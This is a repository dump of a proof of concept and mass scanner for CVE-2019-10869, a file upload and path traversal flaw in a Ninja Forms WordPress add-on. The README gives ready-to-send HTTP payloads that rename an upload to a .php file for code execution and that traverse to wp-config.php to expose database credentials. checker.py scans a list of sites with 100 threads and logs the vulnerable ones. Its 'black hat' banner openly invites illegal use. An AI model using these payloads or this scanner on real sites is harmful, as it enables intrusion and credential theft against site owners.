├── README.md └── checker.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-10869 2 | (Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Unauthenticated Arbitrary File Upload 3 | 4 | # Description: 5 | Path Traversal and Unrestricted File Upload exists in the Ninja Forms plugin before 3.0.23 for WordPress (when the Uploads add-on is activated). This allows an attacker to traverse the file system to access files and execute code via the includes/fields/upload.php (aka upload/submit page) name and tmp_name parameters. 6 | 7 | # POC: 8 | Initial file upload Request: 9 | 10 | ``` POST /wp-admin/admin-ajax.php?action=nf_fu_upload HTTP/1.1 11 | Host: testserver.com 12 | Content-Type: multipart/form-data; boundary=---------------------------16345274557837 13 | Content-Length: 522 14 | 15 | -----------------------------16345274557837 16 | Content-Disposition: form-data; name="form_id" 17 | 18 | 1 19 | -----------------------------16345274557837 20 | Content-Disposition: form-data; name="field_id" 21 | 22 | 5 23 | -----------------------------16345274557837 24 | Content-Disposition: form-data; name="nonce" 25 | 26 | 0f3a997174 27 | -----------------------------16345274557837 28 | Content-Disposition: form-data; name="files"; filename="test.png.doc" 29 | Content-Type: application/msword 30 | 31 | 32 | -----------------------------16345274557837-- 33 | ``` 34 | 35 | Response: 36 | 37 | ``` 38 | HTTP/1.1 200 OK 39 | Server: nginx/1.14.0 40 | 41 | "data":{ 42 | "files":[ 43 | { 44 | "name":"test.png.doc", 45 | "type":"application\/msword", 46 | "tmp_name":"nftmp-14FpD-test.png.doc", 47 | "error":0, 48 | "size":19 49 | } 50 | ] 51 | } 52 | ``` 53 | 54 | When the form is submitted the initially uploaded tmp file is moved to a new location: 55 | ``` 56 | POST /wp-admin/admin-ajax.php HTTP/1.1 57 | Host: testserver.com 58 | Content-Length: 6850 59 | 60 | --snip-- 61 | "5":{ 62 | "value":1, 63 | "id":5, 64 | "files":[ 65 | { 66 | "name":"test.(php)", 67 | "tmp_name":"nftmp-BNxfG-test.png.doc", 68 | "fieldID":5 69 | } 70 | ] 71 | --snip-- 72 | 73 | ``` 74 | The parameter “name” is then “sanitized” by the WordPress function sanitize_file_name, which essentially only removes a set of predefined special characters: 75 | 76 | ``` 77 | ninja-forms-uploads/includes/fields/upload.php:124 78 | $file_name = sanitize_file_name(basename($target_file)); 79 | 80 | sanitize_file_name 81 | Removes special characters that are illegal in filenames 82 | on certain operating systems and special characters 83 | requiring special escaping to manipulate at the command line. 84 | Replaces spaces and consecutive dashes with a single dash. 85 | Trims period, dash and underscore from beginning and end of filename. 86 | It is not guaranteed that this function will return a filename 87 | that is allowed to be uploaded. 88 | 89 | https://developer.wordpress.org/reference/functions/sanitize_file_name/ 90 | 91 | ``` 92 | 93 | This results in moving the tmp file to its final location: 94 | /wp-content/uploads/ninja-forms/1/test.php 95 | 96 | If the upload folder has not been made non-executable explicitly, which is not the case by default, this results in code execution: 97 | 98 | ![alt text](https://www.onvio.nl/wp-content/uploads/phpinfo-791x1024.png) 99 | 100 | Path Traversal in tmp_name: 101 | 102 | when submitting the form it is also possible to traverse the filesystem through the tmp_name parameter as shown below. Keep in mind that tmp files are moved to their new location within the uploads folder! 103 | 104 | ``` 105 | POST /wp-admin/admin-ajax.php HTTP/1.1 106 | Host: testserver.com 107 | Content-Length: 6850 108 | 109 | --snip-- 110 | "5":{ 111 | "value":1, 112 | "id":5, 113 | "files":[ 114 | { 115 | "name":"test.doc", 116 | "tmp_name":"../../../../wp-config.php", 117 | "fieldID":5 118 | } 119 | ] 120 | --snip-- 121 | ``` 122 | 123 | This results in moving the wp-config.php file to the following location: 124 | /wp-content/uploads/ninja-forms/1/test.doc 125 | 126 | # AUTOSCAN: 127 | ``` 128 | USAGE: python script.py list-site.txt 129 | ``` 130 | -------------------------------------------------------------------------------- /checker.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -* 2 | #!/usr/bin/python 3 | ##################################### 4 | ##KILL THE NET## 5 | #### PS: CHANGE Your Threads pool on line 186 to make script more faster :) 6 | ##############[LIBS]################### 7 | import requests, re, urllib2, os, sys, codecs, random 8 | from multiprocessing.dummy import Pool 9 | from time import time as timer 10 | import time 11 | from platform import system 12 | from colorama import Fore 13 | from colorama import Style 14 | from pprint import pprint 15 | from colorama import init 16 | from urlparse import urlparse 17 | import warnings 18 | import subprocess 19 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 20 | warnings.simplefilter('ignore',InsecureRequestWarning) 21 | reload(sys) 22 | sys.setdefaultencoding('utf8') 23 | init(autoreset=True) 24 | ########################################################################################## 25 | ktnred = '\033[31m' 26 | ktngreen = '\033[32m' 27 | ktn3yell = '\033[33m' 28 | ktn4blue = '\033[34m' 29 | ktn5purp = '\033[35m' 30 | ktn6blueblue = '\033[36m' 31 | ktn7grey = '\033[37m' 32 | CEND = '\033[0m' 33 | ##################################### 34 | ########################################################################################## 35 | try: 36 | with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f: 37 | ooo = f.read().splitlines() 38 | except IndexError: 39 | print (ktnred + '[+]================> ' + 'USAGE: '+sys.argv[0]+' listsite.txt' + CEND) 40 | pass 41 | ooo = list((ooo)) 42 | ########################################################################################## 43 | 44 | def ninja_check(url): 45 | try: 46 | payload = url + '/wp-content/plugins/ninja-forms-uploads/readme.txt' 47 | Agent1 = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'} 48 | se1 = requests.session() 49 | ktn2 = se1.get(payload, headers=Agent1, verify=False, timeout=10) 50 | if 'Ninja Forms - File Uploads Extension' in ktn2.content.encode('utf-8'): 51 | if '= 3.0.23' not in ktn2.content.encode('utf-8'): 52 | print (ktn4blue + 'SITE VULN [' + url + ']' + CEND) 53 | open('vuln.txt', 'a').write(url+'\n') 54 | pass 55 | else: 56 | print (ktn7grey + 'SITE NOT VULN ..... [' + url + ']' + CEND) 57 | pass 58 | else: 59 | print (ktn7grey + 'SITE NOT VULN ..... [' + url + ']' + CEND) 60 | pass 61 | except: 62 | pass 63 | pass 64 | 65 | def check(url): 66 | try: 67 | Agent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'} 68 | se = requests.session() 69 | ktn1 = se.get(url, headers=Agent, verify=False, timeout=10) 70 | if ktn1.status_code == 200: 71 | print (ktngreen + 'SEARCHING FOR VULN ..... [' + url + ']' + CEND) 72 | ninja_check(url) 73 | pass 74 | else: 75 | print (ktnred + 'DEAD SITE: ' + url + CEND) 76 | 77 | pass 78 | except: 79 | pass 80 | 81 | ##################################### 82 | def logo(): 83 | clear = "\x1b[0m" 84 | colors = [36, 32, 34, 35, 31, 37] 85 | x = ''' 86 | FEDERATION BLACK HAT SYSTEM | IG: @_gghost666_ 87 | <-.(`-') _ (`-') (`-').-> (`-') _<-. (`-')_ (`-') _(`-') 88 | __( OO) (_) <-. <-. ( OO).-> (OO )__ ( OO).-/ \( OO) ) ( OO).-/( OO).-> 89 | '-'. ,--.,-(`-'),--. ) ,--. ) / '._ ,--. ,'-'(,------.,--./ ,--/ (,------./ '._ 90 | | .' /| ( OO)| (`-') | (`-')|'--...__)| | | | | .---'| \ | | | .---'|'--...__) 91 | | /)| | )| |OO ) | |OO )`--. .--'| `-' |(| '--. | . '| |)(| '--. `--. .--' 92 | | . '(| |_/(| '__ |(| '__ | | | | .-. | | .--' | |\ | | .--' | | 93 | | |\ \| |'->| |' | |' | | | | | | | `---.| | \ | | `---. | | 94 | `--' '--'`--' `-----' `-----' `--' `--' `--' `------'`--' `--' `------' `--' 95 | KILL THE NET 96 | FB: fb/KtN.1990 97 | Note! : We Accept any responsibility for any illegal usage :). ''' 98 | 99 | for N, line in enumerate(x.split("\n")): 100 | sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear)) 101 | time.sleep(0.05) 102 | pass 103 | 104 | 105 | logo() 106 | 107 | ########################################################################################## 108 | def Main(): 109 | try: 110 | 111 | start = timer() 112 | ThreadPool = Pool(100) 113 | Threads = ThreadPool.map(check, ooo) 114 | print('TIME TAKE: ' + str(timer() - start) + ' S') 115 | except: 116 | pass 117 | 118 | 119 | if __name__ == '__main__': 120 | Main() 121 | --------------------------------------------------------------------------------